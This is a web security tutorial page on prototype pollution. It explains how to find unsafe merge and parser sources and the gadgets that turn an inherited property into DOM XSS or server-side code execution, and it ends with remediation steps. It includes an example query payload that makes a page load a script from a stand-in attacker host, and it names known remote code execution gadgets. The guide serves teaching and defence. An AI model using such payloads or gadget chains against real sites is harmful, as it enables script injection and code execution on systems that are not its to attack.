Prototype Pollution: The Complete Practical Guide
Finding Prototype Pollution Sources and Gadgets
How to find prototype pollution sources and gadgets: the unsafe merges and parsers that let you write a prototype, and the later reads that turn it into impact.
Published
Exploiting prototype pollution is a pairing problem: you need a source that lets you write a prototype property and a gadget that later reads one into a sink. This page is about finding both. Practice on a free live target.
Sources: where you can write a prototype
A source is any code that takes a key path from input and assigns through it. Common ones:
recursive merge merge(target, input) that recurses into nested objects (e.g. _.merge)
deep clone a clone that copies keys by assignment
Object.assign shallow: re-parents the TARGET if __proto__ is an own key (narrower than PP)
query-string parsers ?a[b][c]=d expanded into nested objects (qs-style)
JSON body + merge a parsed JSON body deep-merged into configThe giveaway is nested-key expansion plus assignment. A parser that turns a[b][c] into {a:{b:{c:...}}} and a merge that walks keys together give you a write to any path, including __proto__[x] or constructor[prototype][x].
Gadgets: where a prototype read becomes impact
A gadget is a later read of a property the code does not set as its own, flowing into a sink. The author assumed the property would be missing or a safe default:
client gadgets:
script.src = cfg.transport_url inherited URL -> loads attacker script (DOM XSS)
el.innerHTML = opts.template inherited markup -> DOM XSS
config/default lookups opts.x || fallback where x is inherited
server gadgets:
template compile options EJS outputFunctionName, Pug/Handlebars internals -> RCE
child_process options inherited shell / execArgv -> RCE; NODE_OPTIONS via env
auth/flag reads if (user.isAdmin) where isAdmin is inheritedPairing source and gadget
The exploit exists only when the source can set exactly the property the gadget reads:
gadget reads: script.src = cfg.transport_url
source lets you set: ?__proto__[transport_url]=//evil.test/x.js
-> pollution lands in the sink -> DOM XSSStart from whichever end is easier on the target. If you found an obvious merge source, pollute a benign canary and look for anything that changes. If you know the gadget (a documented library gadget), confirm a source can set its property.
Hunting method
1. grep reads into sinks: script.src=, .innerHTML=, render(, child_process, obj.x || , {x = } destructure
2. check each: can x be inherited (not guaranteed own)? -> candidate gadget
3. find a source that sets x on the prototype (merge/clone/parser)
4. client: DOM Invader can automate source+gadget discovery
5. server: match known template/child_process gadgets to the shipped librariesEdge variants
library gadgets hitCallback / sequence (PortSwigger research); transport_url (example/lab gadget)
default-merge gadget a lib that merges user opts over defaults reads inherited props
nested object property s:4:"next" style nesting to deliver a deeper gadget objectFixing it
- Remove the source: use safe merge/clone utilities and
Object.create(null)maps. - Remove the gadget's assumption: read own properties explicitly, give defaults without inheriting.
- Validate keys so
__proto__/constructor/prototypenever reach a merge.
Full guidance is in preventing prototype pollution. Next, see the server-side impact in server-side prototype pollution, or hunt gadgets on a free lab.